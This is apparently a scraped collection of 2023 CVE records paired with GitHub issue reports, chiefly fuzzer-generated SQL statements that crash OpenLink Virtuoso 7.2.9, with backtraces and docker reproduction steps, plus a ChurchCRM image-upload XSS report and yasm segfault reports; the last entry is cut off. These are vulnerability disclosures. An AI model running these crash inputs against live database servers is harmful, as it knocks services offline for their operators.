2023-04-14T12:55:17Z

https://github.com/openlink/virtuoso-opensource/issues/1130

CVE-2023-31622

2023-05-15T15:15:12.347

An issue in the sqlc_make_policy_trig component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1135

github.com

The PoC is generated by my DBMS fuzzer. ```SQL DELETE FROM ucview WHERE CURRENT OF c1; ``` backtrace: ```c #0 0x7d8904 (sqlc_make_policy_trig+0x54) #1 0x7ddf99 (sqlc_delete_pos+0x2e9) #2 0x6b6e53 (sql_stmt_comp+0x453) #3 0x6ba122 (sql_compile_1+0x1a62) #4 0x7c8cd0 (stmt_set_query+0x340) #5 0x7cabc2 (sf_sql_execute+0x922) #6 0x7cbf4e (sf_sql_execute_w+0x17e) #7 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #8 0xe1f01c (future_wrapper+0x3fc) #9 0xe2691e (_thread_boot+0x11e) #10 0x7faabf70f609 (start_thread+0xd9) #11 0x7faabf4df133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at sqlc_make_policy_trig

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1135/comments

2023-04-12T19:32:30Z

2023-04-14T08:12:14Z

https://github.com/openlink/virtuoso-opensource/issues/1135

CVE-2023-31623

2023-05-15T15:15:12.390

An issue in the mp_box_copy component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1131

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1( x INTEGER PRIMARY KEY, k VARCHAR ); CREATE VIEW t1 AS SELECT k, k FROM t1; UPDATE t1 SET k = k-1 WHERE k > 100 AND x = 128; ``` backtrace: ```c #0 0xe086e9 (mp_box_copy+0x9) #1 0xe08dd0 (mp_box_copy_tree+0xc0) #2 0x815b3a (sqlc_col_to_view_scope+0x4fa) #3 0x815ee2 (sqlc_exp_to_view_scope+0x162) #4 0x815ee2 (sqlc_exp_to_view_scope+0x162) #5 0x815ee2 (sqlc_exp_to_view_scope+0x162) #6 0x815ee2 (sqlc_exp_to_view_scope+0x162) #7 0x815ee2 (sqlc_exp_to_view_scope+0x162) #8 0x815ee2 (sqlc_exp_to_view_scope+0x162) #9 0x815ee2 (sqlc_exp_to_view_scope+0x162) #10 0x815ee2 (sqlc_exp_to_view_scope+0x162) #11 0x815ee2 (sqlc_exp_to_view_scope+0x162) #12 0x815ee2 (sqlc_exp_to_view_scope+0x162) ... #1045 0x815ee2 (sqlc_exp_to_view_scope+0x162) #1046 0x815ee2 (sqlc_exp_to_view_scope+0x162) #1047 0x815ee2 (sqlc_exp_to_view_scope+0x162) #1048 0x817c90 (sqlc_update_view+0xa60) #1049 0x7ddad0 (sqlc_update_searched+0xbd0) #1050 0x817cd1 (sqlc_update_view+0xaa1) #1051 0x7ddad0 (sqlc_update_searched+0xbd0) #1052 0x817cd1 (sqlc_update_view+0xaa1) #1053 0x7ddad0 (sqlc_update_searched+0xbd0) #1054 0x817cd1 (sqlc_update_view+0xaa1) #1055 0x7ddad0 (sqlc_update_searched+0xbd0) #1056 0x817cd1 (sqlc_update_view+0xaa1) ... #3132 0x817cd1 (sqlc_update_view+0xaa1) #3133 0x7ddad0 (sqlc_update_searched+0xbd0) #3134 0x817cd1 (sqlc_update_view+0xaa1) #3135 0x7ddad0 (sqlc_update_searched+0xbd0) #3136 0x6b7212 (sql_stmt_comp+0x812) #3137 0x6ba122 (sql_compile_1+0x1a62) #3138 0x7c8cd0 (stmt_set_query+0x340) #3139 0x7cabc2 (sf_sql_execute+0x922) #3140 0x7cbf4e (sf_sql_execute_w+0x17e) #3141 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #3142 0xe1f01c (future_wrapper+0x3fc) #3143 0xe2691e (_thread_boot+0x11e) #3144 0x7f2025e0d609 (start_thread+0xd9) #3145 0x7f2025bdd133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at mp_box_copy

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1131/comments

2023-04-12T19:21:09Z

2023-04-14T08:41:41Z

https://github.com/openlink/virtuoso-opensource/issues/1131

CVE-2023-31624

2023-05-15T15:15:12.437

An issue in the sinv_check_exp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1134

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE base_tbl (a int, b int); CREATE VIEW rw_view1 AS SELECT * FROM base_tbl; INSERT INTO rw_view1 VALUES (15); ``` backtrace: ```c #0 0x788dc0 (sinv_check_exp+0x120) #1 0x78a03d (sinv_sqlo_check_col_val+0xad) #2 0x816d50 (sqlc_insert_view+0x330) #3 0x6b7387 (sql_stmt_comp+0x987) #4 0x6ba122 (sql_compile_1+0x1a62) #5 0x7c8cd0 (stmt_set_query+0x340) #6 0x7cabc2 (sf_sql_execute+0x922) #7 0x7cbf4e (sf_sql_execute_w+0x17e) #8 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #9 0xe1f01c (future_wrapper+0x3fc) #10 0xe2691e (_thread_boot+0x11e) #11 0x7fbc8904b609 (start_thread+0xd9) #12 0x7fbc88e1b133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at sinv_check_exp

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1134/comments

2023-04-12T19:29:32Z

2023-04-14T08:12:14Z

https://github.com/openlink/virtuoso-opensource/issues/1134

CVE-2023-31625

2023-05-15T15:15:12.487

An issue in the psiginfo component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1132

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1 ( x LONG VARCHAR, a INTEGER DEFAULT 0, b LONG VARCHAR, t2 LONG VARCHAR ); CREATE VIEW t1 AS SELECT * FROM t1; INSERT INTO t1(t2, x, x) VALUES('one-toasted,one-null', '', repeat('1234567890',50000)); ``` backtrace: ```c #0 0x7f421a573900 (psiginfo+0x134a0) #1 0x7f421a588f9a (vscanf+0x14a) #2 0x7f421a55edf6 (__snprintf+0x96) #3 0x5a2227 (sch_full_proc_name_1+0x2c7) #4 0x7879a3 (sinv_find_func_map+0x143) #5 0x788fb7 (sinv_check_exp+0x317) #6 0x78a03d (sinv_sqlo_check_col_val+0xad) #7 0x816d50 (sqlc_insert_view+0x330) #8 0x81721d (sqlc_insert_view+0x7fd) #9 0x81721d (sqlc_insert_view+0x7fd) #10 0x81721d (sqlc_insert_view+0x7fd) #11 0x81721d (sqlc_insert_view+0x7fd) #12 0x81721d (sqlc_insert_view+0x7fd) #13 0x81721d (sqlc_insert_view+0x7fd) ... #5714 0x81721d (sqlc_insert_view+0x7fd) #5715 0x81721d (sqlc_insert_view+0x7fd) #5716 0x81721d (sqlc_insert_view+0x7fd) #5717 0x6b7387 (sql_stmt_comp+0x987) #5718 0x6ba122 (sql_compile_1+0x1a62) #5719 0x7c8cd0 (stmt_set_query+0x340) #5720 0x7cabc2 (sf_sql_execute+0x922) #5721 0x7cbf4e (sf_sql_execute_w+0x17e) #5722 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #5723 0xe1f01c (future_wrapper+0x3fc) #5724 0xe2691e (_thread_boot+0x11e) #5725 0x7f421a84c609 (start_thread+0xd9) #5726 0x7f421a61c133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at psiginfo (maybe the same as #1118)

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1132/comments

2023-04-12T19:23:55Z

2023-04-14T08:20:16Z

https://github.com/openlink/virtuoso-opensource/issues/1132

CVE-2023-31626

2023-05-15T15:15:12.540

An issue in the gpf_notice component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1129

github.com

**This crash seems can only be reproduced when compiling virtuoso with --with-debug.** **When using the docker container, the SQL statement will strangely make the client shell STUCK, but will not crash the server.** The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t4 ( a VARCHAR, b VARCHAR ); SELECT MIN(b), MIN(b) FROM t4; ``` backtrace: ```c #0 0xe10319 (gpf_notice+0x209) #1 0xdf7866 (print_object2+0x916) #2 0x81c0e6 (select_node_input_vec+0x546) #3 0x7b7a77 (select_node_input+0xa7) #4 0x7ac43e (qn_input+0x3ce) #5 0x7ac8a6 (qn_send_output+0x236) #6 0x7ac43e (qn_input+0x3ce) #7 0x7ac8a6 (qn_send_output+0x236) #8 0x81e26d (set_ctr_vec_input+0x94d) #9 0x7ac43e (qn_input+0x3ce) #10 0x7bdc6e (qr_exec+0x11ee) #11 0x7cb446 (sf_sql_execute+0x11a6) #12 0x7cbf4e (sf_sql_execute_w+0x17e) #13 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #14 0xe1f01c (future_wrapper+0x3fc) #15 0xe2691e (_thread_boot+0x11e) #16 0x7f02b43b7609 (start_thread+0xd9) #17 0x7f02b4187133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at gpf_notice

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1129/comments

2023-04-12T19:16:37Z

2023-04-14T08:12:13Z

https://github.com/openlink/virtuoso-opensource/issues/1129

CVE-2023-31627

2023-05-15T15:15:12.587

An issue in the strhash component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1140

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1 ( a varchar(255) DEFAULT NULL ); SELECT * FROM t1 WHERE CONTAINS(*, 'tutorial & (mysql & -VÐƷWİ)'); ``` backtrace: ```c #0 0xdece40 (strhash+0x20) #1 0xdec783 (id_hash_get+0x33) #2 0x59c5d1 (tb_name_to_column+0x41) #3 0x76aed1 (ot_is_defd+0x211) #4 0x76b422 (sco_is_defd+0x372) #5 0x775cec (sqlo_implied_columns_of_contains+0x3fc) #6 0x77c3dc (sqlo_select_scope+0x75c) #7 0x76d347 (sqlo_scope+0x447) #8 0x70bd81 (sqlo_top_2+0x41) #9 0x70b9d5 (sqlo_top_1+0x135) #10 0x70d4c6 (sqlo_top_select+0x156) #11 0x6b72bf (sql_stmt_comp+0x8bf) #12 0x6ba122 (sql_compile_1+0x1a62) #13 0x7c8cd0 (stmt_set_query+0x340) #14 0x7cabc2 (sf_sql_execute+0x922) #15 0x7cbf4e (sf_sql_execute_w+0x17e) #16 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #17 0xe1f01c (future_wrapper+0x3fc) #18 0xe2691e (_thread_boot+0x11e) #19 0x7ff1272a6609 (start_thread+0xd9) #20 0x7ff127076133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at strhash

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1140/comments

2023-04-12T19:41:37Z

2023-04-14T08:12:17Z

https://github.com/openlink/virtuoso-opensource/issues/1140

CVE-2023-31628

2023-05-15T15:15:12.633

An issue in the stricmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1141

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1 ( x VARCHAR, k VARCHAR ); CREATE VIEW t1 AS SELECT x, k FROM t1; INSERT INTO t1 VALUES ('x', 'y'); ``` backtrace: ```c #0 0xeff7b6 (stricmp+0x6) #1 0x607569 (strihashcmp+0x29) #2 0xdec7af (id_hash_get+0x5f) #3 0x607e58 (sch_name_to_object_sc+0x58) #4 0x6081b5 (sch_name_to_object+0xf5) #5 0x7d8f70 (sqlc_insert+0x50) #6 0x81721d (sqlc_insert_view+0x7fd) #7 0x81721d (sqlc_insert_view+0x7fd) #8 0x81721d (sqlc_insert_view+0x7fd) #9 0x81721d (sqlc_insert_view+0x7fd) #10 0x81721d (sqlc_insert_view+0x7fd) ... #5737 0x81721d (sqlc_insert_view+0x7fd) #5738 0x81721d (sqlc_insert_view+0x7fd) #5739 0x6b7387 (sql_stmt_comp+0x987) #5740 0x6ba122 (sql_compile_1+0x1a62) #5741 0x7c8cd0 (stmt_set_query+0x340) #5742 0x7cabc2 (sf_sql_execute+0x922) #5743 0x7cbf4e (sf_sql_execute_w+0x17e) #5744 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #5745 0xe1f01c (future_wrapper+0x3fc) #5746 0xe2691e (_thread_boot+0x11e) #5747 0x7fa64e4f4609 (start_thread+0xd9) #5748 0x7fa64e2c4133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at stricmp (maybe the same as #1118)

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1141/comments

2023-04-12T19:43:47Z

2023-04-14T08:19:06Z

https://github.com/openlink/virtuoso-opensource/issues/1141

CVE-2023-31629

2023-05-15T15:15:12.677

An issue in the sqlo_union_scope component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1139

github.com

The PoC is generated by my DBMS fuzzer. ```SQL SELECT CASE WHEN EXISTS ( SELECT 1 FROM t2 WHERE x=1 INTERSECT SELECT 1 FROM t2 WHERE y=2 ) THEN 1 ELSE 0 END; ``` backtrace: ```c #0 0x76cd17 (sqlo_union_scope+0x67) #1 0x76cd10 (sqlo_union_scope+0x60) #2 0x76cd10 (sqlo_union_scope+0x60) #3 0x76dc84 (sqlo_scope+0xd84) #4 0x76d878 (sqlo_scope+0x978) #5 0x76d2b4 (sqlo_scope+0x3b4) #6 0x77c27a (sqlo_select_scope+0x5fa) #7 0x76d347 (sqlo_scope+0x447) #8 0x70bd81 (sqlo_top_2+0x41) #9 0x70b9d5 (sqlo_top_1+0x135) #10 0x70d4c6 (sqlo_top_select+0x156) #11 0x6b72bf (sql_stmt_comp+0x8bf) #12 0x6ba122 (sql_compile_1+0x1a62) #13 0x7c8cd0 (stmt_set_query+0x340) #14 0x7cabc2 (sf_sql_execute+0x922) #15 0x7cbf4e (sf_sql_execute_w+0x17e) #16 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #17 0xe1f01c (future_wrapper+0x3fc) #18 0xe2691e (_thread_boot+0x11e) #19 0x7faf7a35b609 (start_thread+0xd9) #20 0x7faf7a12b133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at sqlo_union_scope

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1139/comments

2023-04-12T19:40:20Z

2023-04-14T08:12:16Z

https://github.com/openlink/virtuoso-opensource/issues/1139

CVE-2023-31630

2023-05-15T15:15:12.723

An issue in the sqlo_query_spec component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1138

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE mvtest_pdt1 AS (SELECT 1 AS col1) WITH DATA; ``` backtrace: ```c #0 0x70d571 (sqlo_query_spec+0x41) #1 0x7da2d4 (sqlc_insert+0x13b4) #2 0x6b7387 (sql_stmt_comp+0x987) #3 0x6ba122 (sql_compile_1+0x1a62) #4 0x68276d (bif_exec+0x67d) #5 0x74b044 (ins_call_bif+0xc4) #6 0x758f09 (code_vec_run_1+0xdf9) #7 0x7ac431 (qn_input+0x3c1) #8 0x7c04fa (qr_subq_exec+0x94a) #9 0x74c001 (ins_call+0xc91) #10 0x74d9f0 (ins_call_vec+0x320) #11 0x751205 (code_vec_run_v+0xa25) #12 0x7ac3ff (qn_input+0x38f) #13 0x7bdc6e (qr_exec+0x11ee) #14 0x7c36fe (qr_rec_exec+0x34e) #15 0x4e4076 (sql_ddl_node_input_1+0xc96) #16 0x4e444e (sql_ddl_node_input+0x10e) #17 0x7b9f1b (ddl_node_input_1+0x19b) #18 0x7ba5f7 (qn_without_ac_at+0xc7) #19 0x7ac43e (qn_input+0x3ce) #20 0x7bee59 (qr_dml_array_exec+0x839) #21 0x7cb872 (sf_sql_execute+0x15d2) #22 0x7cbf4e (sf_sql_execute_w+0x17e) #23 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #24 0xe1f01c (future_wrapper+0x3fc) #25 0xe2691e (_thread_boot+0x11e) #26 0x7f3405362609 (start_thread+0xd9) #27 0x7f3405132133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at sqlo_query_spec

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1138/comments

2023-04-12T19:38:44Z

2023-04-14T08:12:16Z

https://github.com/openlink/virtuoso-opensource/issues/1138

CVE-2023-31631

2023-05-15T15:15:12.777

An issue in the sqlo_preds_contradiction component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1137

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE VIEW t1(a) AS SELECT 1; SELECT a, a, a FROM t1 WHERE a IN (1,5) AND a IN (9,8,3025,1000,3969) ORDER BY a, a DESC; ``` backtrace: ```c #0 0x6f6462 (sqlo_preds_contradiction+0x442) #1 0x6fec43 (sqlo_place_table+0xe23) #2 0x706bab (sqlo_try+0xdb) #3 0x70818c (sqlo_layout_1+0x94c) #4 0x6e84fb (sqlo_layout+0x5fb) #5 0x70c075 (sqlo_top_2+0x335) #6 0x70b9d5 (sqlo_top_1+0x135) #7 0x70d4c6 (sqlo_top_select+0x156) #8 0x6b72bf (sql_stmt_comp+0x8bf) #9 0x6ba122 (sql_compile_1+0x1a62) #10 0x7c8cd0 (stmt_set_query+0x340) #11 0x7cabc2 (sf_sql_execute+0x922) #12 0x7cbf4e (sf_sql_execute_w+0x17e) #13 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #14 0xe1f01c (future_wrapper+0x3fc) #15 0xe2691e (_thread_boot+0x11e) #16 0x7f8d7a6e8609 (start_thread+0xd9) #17 0x7f8d7a4b8133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at sqlo_preds_contradiction

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1137/comments

2023-04-12T19:36:18Z

2023-04-14T08:12:15Z

https://github.com/openlink/virtuoso-opensource/issues/1137

CVE-2023-31699

2023-05-17T13:15:09.517

ChurchCRM v4.5.4 is vulnerable to Reflected Cross-Site Scripting (XSS) via image file.

https://github.com/ChurchCRM/CRM/issues/6471

github.com

**If you have the ChurchCRM software running, please file an issue using the _Report an issue_ in the help menu.** #### On what page in the application did you find this issue? I got issue CSVImport.php page. #### On what type of server is this running? Dedicated / Shared hosting? Linux / Windows? Windows Server #### What browser (and version) are you running? Brave browser [Version 1.50.119 Chromium: 112.0.5615.121] #### What version of PHP is the server running? 7.4.29 #### What version of SQL Server are you running? Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 #### What version of ChurchCRM are you running? v4.5.4 **Description:** I found Cross site scripting (XSS) vulnerability in your ChurchCRM (v4.5.4) "Admin" menu to CSV Import page there Import data CSV uploader option. When I upload image file there malicious code inserted in image then the browser give me result. Because a browser can not know if the script should be trusted or not. **CMS Version:** v4.5.4 **Affected URL:** http://127.0.0.1/churchcrm/CSVImport.php **Steps to Reproduce:** 1. First login your admin panel. 2. Then click "Admin" menu and click "CSV Import" and you will get CSV file uploder option.  3. now insert xss payload in jpg file using exiftool or from image properties.  4. after then upload the jpg file. 5. you will see XSS pop up.  **Proof of Concept:** You can see the Proof of Concept. Which I've attached screenshots and video to confirm the vulnerability. https://user-images.githubusercontent.com/41516016/232332389-4fab27fc-e5a4-42cd-aae1-b7c4b60f975a.mp4 **Impact:** Attackers can make use of this to conduct attacks like phishing, steal sessions etc. Let me know if any further info is required. Thanks & Regards **Rahad Chowdhury** Cyber Security Specialist https://www.linkedin.com/in/rahadchowdhury/

XSS via Image File

https://api.github.com/repos/ChurchCRM/CRM/issues/6471/comments

2023-04-16T18:04:50Z

2024-05-27T02:46:17Z

https://github.com/ChurchCRM/CRM/issues/6471

CVE-2023-31723

2023-05-17T15:15:08.873

yasm 1.3.0.55.g101bc was discovered to contain a segmentation violation via the function expand_mmac_params at /nasm/nasm-pp.c.

https://github.com/yasm/yasm/issues/220

github.com

# There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:4008 in expand_mmac_params ## asan info: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==3645333==ERROR: AddressSanitizer: SEGV on unknown address 0x60bcf518f500 (pc 0x562c742f3049 bp 0x7ffc6fb07330 sp 0x7ffc6fb07200 T0) ==3645333==The signal is caused by a READ memory access. #0 0x562c742f3048 in expand_mmac_params modules/preprocs/nasm/nasm-pp.c:4008 #1 0x562c742ead70 in do_directive modules/preprocs/nasm/nasm-pp.c:2950 #2 0x562c742fa446 in pp_getline modules/preprocs/nasm/nasm-pp.c:5083 #3 0x562c742d7c61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198 #4 0x562c742cc4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219 #5 0x562c742caf6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66 #6 0x562c742cb109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83 #7 0x562c742634d4 in do_assemble frontends/yasm/yasm.c:521 #8 0x562c74264281 in main frontends/yasm/yasm.c:753 #9 0x7f44d85c0082 in __libc_start_main ../csu/libc-start.c:308 #10 0x562c74261b9d in _start (/root/target/yasm/build_asan/bin/yasm+0xa5b9d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV modules/preprocs/nasm/nasm-pp.c:4008 in expand_mmac_params ==3645333==ABORTING ``` ## Command Input: ./yasm poc-file [poc-file.zip](https://github.com/yasm/yasm/files/11252936/poc-file.zip) poc-file is attached. ## Environment OS: Ubuntu 20.04.1 yasm: 1.3.0.55.g101bc (git clone [[email protected]](mailto:[email protected]):yasm/yasm.git , and compile it) compile yasm with asan: ./autogen.sh make distclean ./configure --prefix=$PWD/build_asan make CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" make install You can also reproduce it without ASAN , don't set CFLAGS and CXXFLAGS and directly use GDB. ## GDB results:  we use "p mac->params[n]"but can't access memory. SEGV happens.

There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:4008 in expand_mmac_params

https://api.github.com/repos/yasm/yasm/issues/220/comments

2023-04-17T16:18:19Z

2024-03-22T11:52:08Z

https://github.com/yasm/yasm/issues/220

CVE-2023-31724

2023-05-17T15:15:08.917

yasm 1.3.0.55.g101bc was discovered to contain a segmentation violation via the function do_directive at /nasm/nasm-pp.c.

https://github.com/yasm/yasm/issues/222

github.com

# There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:3570 in do_directive ## asan info: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1433063==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55736a1a1cff bp 0x7fff4d5cbf50 sp 0x7fff4d5cba60 T0) ==1433063==The signal is caused by a READ memory access. ==1433063==Hint: address points to the zero page. #0 0x55736a1a1cfe in do_directive modules/preprocs/nasm/nasm-pp.c:3570 #1 0x55736a1ac446 in pp_getline modules/preprocs/nasm/nasm-pp.c:5083 #2 0x55736a189c61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198 #3 0x55736a17e4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219 #4 0x55736a17cf6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66 #5 0x55736a17d109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83 #6 0x55736a1154d4 in do_assemble frontends/yasm/yasm.c:521 #7 0x55736a116281 in main frontends/yasm/yasm.c:753 #8 0x7fbf8492d082 in __libc_start_main ../csu/libc-start.c:308 #9 0x55736a113b9d in _start (/root/target/latest/20230404/yasm/build_asan/bin/yasm+0xa5b9d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV modules/preprocs/nasm/nasm-pp.c:3570 in do_directive ==1433063==ABORTING ``` ## Command Input: ./yasm poc-file [poc-file.zip](https://github.com/yasm/yasm/files/11253195/poc-file.zip) poc-file is attached. ## Environment OS: Ubuntu 20.04.1 yasm: 1.3.0.55.g101bc (git clone [[email protected]](mailto:[email protected]):yasm/yasm.git , and compile it) compile yasm with asan: ./autogen.sh make distclean ./configure --prefix=$PWD/build_asan make CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" make install

There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:3570 in do_directive

https://api.github.com/repos/yasm/yasm/issues/222/comments

2023-04-17T16:48:59Z

2024-03-22T11:50:46Z

https://github.com/yasm/yasm/issues/222

CVE-2023-31725

2023-05-17T15:15:08.957

yasm 1.3.0.55.g101bc was discovered to contain a heap-use-after-free via the function expand_mmac_params at yasm/modules/preprocs/nasm/nasm-pp.c.

https://github.com/yasm/yasm/issues/221

github.com

